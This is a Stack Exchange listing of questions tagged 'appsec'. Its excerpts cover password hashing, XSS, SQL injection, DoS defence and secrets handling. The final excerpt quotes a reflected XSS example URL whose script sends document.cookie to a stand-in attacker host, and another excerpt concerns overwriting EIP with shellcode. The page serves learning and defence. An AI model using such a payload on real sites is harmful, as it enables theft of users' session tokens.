Questions tagged [appsec]

Application security - Specific to security concerns for an application that are independent from the underlying operating system, or surrounding infrastructure. Pertains to the design / architecture, source code, patching and maintenance cycle, or deployment and configuration of this software.

Filter by
Sorted by
Tagged with
0
votes
2answers
696 views

Intercepting Android 9 app-traffic

I used MitMproxy until recently I switched from the Samsung Galaxy S5 to the S9+ which runs Android 9... and suddenly I can't intercept apptraffic anymore. Looks like the proxy in the wifi-settings is ...
1
vote
1answer
98 views

Concealing method results

I have to maintain a java application with security code I am not sure is really useful and the original purpose is not clear (and the original developer is long gone). Basically, the code will check ...
1
vote
1answer
79 views

XSS in my Web App?

I have developed web app, and my customer is saying this piece of code is vulnerable: <a href="#" onclick="count.it('count', 9); console.log(1);">Click "9" is ...
0
votes
0answers
14 views

Securing against scans [duplicate]

I have a VM which is exposed to the internet. I can see a lot of scans for /azenv.php, /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php and like in my server logs. How do I protect from these ...
-1
votes
1answer
59 views

Malicious file upload

E.g I have Apache installed on a linux server. Web site hosted by Apache supports file upload functionality. Should I use some kind of plugin for Apache to check those files or the OS should take care ...
861
votes
13answers
259k views

How to securely hash passwords?

If I hash passwords before storing them in my database, is that sufficient to prevent them being recovered by anyone? I should point out that this relates only to retrieval directly from the database,...
1
vote
1answer
61 views

How do I share secret key files with Docker containers following 12 Factor App?

I am building an API and trying to follow the 12 Factor App methodology. Using Docker, the methodology says containers must be disposable. Assuming the API will have high traffic, multiple docker ...
1
vote
1answer
366 views

Secure coding standards and guidelines

I was trying to research on available secure coding guidelines of server-side and client-side languages. There are online documentation from Oracle for Java, Microsoft for asp.net, and w3 for html5 ...
1
vote
3answers
109 views

Should the pentester seek features to test by himself?

Imagine we have a dev team developers team lead scrum master ... When a new feature is planned to be implemented, should it be sent to the security team by the dev team lead (to evaluate whether it ...
0
votes
0answers
68 views

Encryption (not hashing) of credentials in a Python connection string

I would like to know how to encrypt a database connection string in Python - ideally Python 3 - and store it in a secure wallet. I am happy to use something from pip. Since the connection string needs ...
1
vote
1answer
166 views

Is this private network authentication system secure?

I am building an authentication system to be used within a company's private network. I do not administer this network, and I know very little about the setup, but my basic understanding is you must ...
0
votes
0answers
36 views

What tool/methodologie is used in security orchestration of OWASP appsec pipeline?

I'm reading materials about appsec pipeline. It seems interesting. OWASP has a project about it here https://owasp.org/www-project-appsec-pipeline/ I was reading a slide share about it but the author ...
3
votes
2answers
118 views

Testing web applications from an end user's perspective

I have been looking at OWASP and other forms of checklists on testing web applications. One of the best practices is to ensure session IDs generated are sufficiently random and unpredictable. ...
0
votes
1answer
29 views

Desktop App with SQL Server security issues

I'm in a discussion with Information Security team about a legacy Desktop Application accessing a SQL Server database directly using LINQtoSQL. The Information Security team insists that there are ...
3
votes
1answer
86 views

How can I defend against Heroku (or any PAAS) ID theft?

How can I defend against Heroku (or any PAAS) ID theft? Is it correct to assume that if someone obtained my Heroku credentials that they would have access to any data in my app, regardless of any ...
12
votes
3answers
7k views
3
votes
2answers
591 views

How good are Angular Route Guards from a security standpoint?

For an enterprise setting, how secure are Route Guards against script kiddies, hackers, and advanced threats? If I understand correctly, the route guards are all available in .js files to the ...
2
votes
1answer
182 views

Are deleted offline calendar events in Android actually deleted?

When an Android app deletes a calendar event in a local (offline / non-synced) calendar, does Android's Calendar Storage (com.android.providers.calendar) actually delete the event or does it just flag ...
5
votes
1answer
110 views

What are the general security implications behind using a web app vs its equivalent desktop app?

In 2020, there are a lot of applications which have a web interface as well as "desktop apps." Such applications are either the same in functionality or very close. Three examples of this situation ...
0
votes
1answer
583 views

injecting javascript in webviews in Android

I am relatively new to mobile application security. Currently I am supposed to audit an android application which uses a webview to display some static FAQ page in an activity. The webview in ...
62
votes
3answers
6k views

Security risks of fetching user-supplied URLs

We are considering to add the following feature to our web application (an online product database, if it matters): Instead of uploading an image, the user can provide the (self-hosted) URL of an ...
5
votes
1answer
450 views

Alternative to client certificate authentication with HTTP/2

We are currently busy improving an Android application with connects to an Azure App Service API using client certificates and bearer token for authentication over TLS 1.2. We are investigating ...
35
votes
2answers
7k views

How can a Software application defend against DoS or DDoS?

Most of the solutions for DoS attacks are not at the application level. In case I am using a proxy server, what are the possible countermeasures for DoS at the application level?
0
votes
2answers
477 views

What browser plugins (ActiveX, or those for Chrome/Firefox/Safari etc) pose the most risk for your company?

I'm looking for a list of risky browser plugins that we should prevent their use on the desktop. It's probably safe to assume that old versions of Flash are on the list, but what versions? What ...
0
votes
2answers
72 views

Can demo exploits/attacks be run on desktop applications? [closed]

Are there any applications/tools for exploiting desktop applications? (with pre-built exploits) I'd like to test my Java desktop app for security. I've looked at tools like Metasploit, but they seem ...
0
votes
1answer
63 views

How apache tomcat favicon can be malicious or cause unintended results in application?

At the moment, there aren't any of those vulnerabilities that we know. I was looking the docs on what damages can be done by hackers if apache tomcat favicon is revealed in web application.
13
votes
4answers
8k views

What is the right way of storing database connection strings from the security point of view?

What are recommendations, best practices and have-to-dos regarding handling connection strings in web applications? What things one should never, ever do?
0
votes
0answers
42 views

How does iOS device management work?

Under Settings -> Device Management I notice there are at least 3 different categories of items: Mobile Device Management Configuration Profile Enterprise App But documentation online seems sparse ...
2
votes
1answer
76 views

Is using the JWT token to perform queries, as opposed to a raw value in its payload, considered a good practice?

For my SPA app, I'm using Firebase as the authentication provider. I'm also using this token to authenticate with my back-end server. The Firebase documentation reads: "Warning: Do not accept ...
1
vote
0answers
352 views

Closed source servers in Europe (Wire) vs open source servers in US (Signal) for E2EE [closed]

I've been trying to move family and friends to a Whatsapp alternative, and while Signal is widely regarded as the most secure, it lacks some "candy" that might make it more alluring to people. ...
0
votes
0answers
28 views

how this default Session ID can be malicious or cause unintended results in application

I was looking the docs on what damages can be done by hackers if default Session ID is revealed in web application.
7
votes
2answers
2k views

Is it safe to send sensitive data in the post body to an azure function?

We want our users to send us a post request to an Azure Function endpoint. Is storing sensitive data (such as connectionstrings or passwords) in the post request body going to be an issue? Any insight ...
3
votes
1answer
309 views

Is SQL Injection possible in this case (REGEXP)?

I'm on a website which have a program, there is a search input for keywords. When I input & or < or > and search, it returns Got error 'empty (sub)expression' from regexp error and when I ...
0
votes
0answers
36 views

API security multi step vulnerabilities

Anyone know of a good fast way to detect multi step vulnerabilities? For example x endpoint is a dumb post and returns success. Y endpoint gets the request that was submitted in x.
0
votes
1answer
111 views

EIP pointing to shellcode but shellcode is not executing?

I have successfully overwritten the EIP register (pointing to my shellcode) but the shellcode is not executing. I compiled with the command gcc -g -fno-stack-protector -z execstack -no-pie vuln.c -o ...
0
votes
3answers
3k views

Is it safe and secure to disable sandbox of google chrome in Kali Linux or any distribution of Linux?

I have installed chrome on Kali Linux. But It doesn't run. After searching on the internet I found a solution in which you have to disable sandbox if you wanna run google chrome as a root user. ...
2
votes
3answers
693 views

Is it secure to make my Threema ID public?

I've had Threema for a few days (a couple of friends forced me to buy it). It's pretty neat but I'm afraid that I'm not connected to everyone since my mail/phone-number data is pretty small or ...
0
votes
0answers
211 views

How can I proxy traffic of macOS Mojave APPS using Burp Suite?

If I do a web search for proxying macOS apps using Burp Suite, I don't get any useful info. Instead, I get dozens of results talking about how to proxy iOS or Android apps. I am talking about desktop ...
0
votes
0answers
36 views

JWT in GraphQL GET Request via AJAX

I have a SPA (Single Page Application) that receives and updates information about the logged in user from the API using an AJAX request. However, the requests are authorized using a JWT (JSON Web ...
10
votes
1answer
1k views

Should Javascript & IFrames be used to refresh sessions when Master Cookie Domains are used?

Suppose I have 3 sites that I want to have SSO in, site1.com, site2.com, and auth.com. SSL is always required. According to how SiteMinder cookies are described here, one of those domains would ...
4
votes
2answers
2k views

Is Segregation of Duties a Requirement?

In our environment. Developers have full rights and privileges in the dev, test, and production environments. This gives them the ability to create, manipulate, and promote code associated with ...
1
vote
1answer
53 views

What is the ideal technique to protect unauthorized redirects

I'm looking for the best way to secure unauthorized redirects from GET parameter where url=http://example.com I'm thinking about creating an unique identifier like using a hashing function (md5 for ...
1
vote
2answers
97 views

Anything wrong with using IMAP as authentication for a web app to achieve a kind of easy SSO?

The idea would be to wrap a server-side IMAP client in a wrapper that transforms IMAP authentication into a web API for authentication (maybe OAuth?). When the back-end application receives ...
1
vote
1answer
88 views

If an application has an XSS vulnerabilty, can we bypass CSRF with referer header?

Let's say there is an XSS vulnerability in an application, and the application is not using any kind of CSRF token, just using the referer header to protect against CSRF. Referer header is validating ...
29
votes
6answers
7k views

Poor error handling source code review

I received a report from the security team today. The report contains the below mentioned vulnerabilities and descriptions: 1) Poor Error Handling: Overly Broad Throws The methods in program1....
0
votes
0answers
42 views

Securing application on windows 10

I need to figure out how to run my application on Windows 10. My application would run on an app-specific account (let's called it "App"). My application saves/reads PDFs from the folder "PDF". I ...
2
votes
1answer
55 views

Code Change That Resulted in Database Fields and Values Exposed

At my company, we have a new development team that has been completely rewriting all of the code for different parts of the system. I've noticed that with one of the recent changes, you can now see ...
3
votes
1answer
185 views

How does Intel SGX protect itself from being simulated?

I'm trying to understand how secure Intel SGX actually is. According to Intel: Note that developers cannot rely on a measurement supplied by system software; as noted earlier, software can always ...
15
votes
6answers
2k views

Where to start with security testing?

Starting with a QA team that deals mainly with functional requirements testing and has little real security testing experience, what simple practical things should the QA team start doing to start ...
6
votes
1answer
34k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...

1
2 3 4 5
19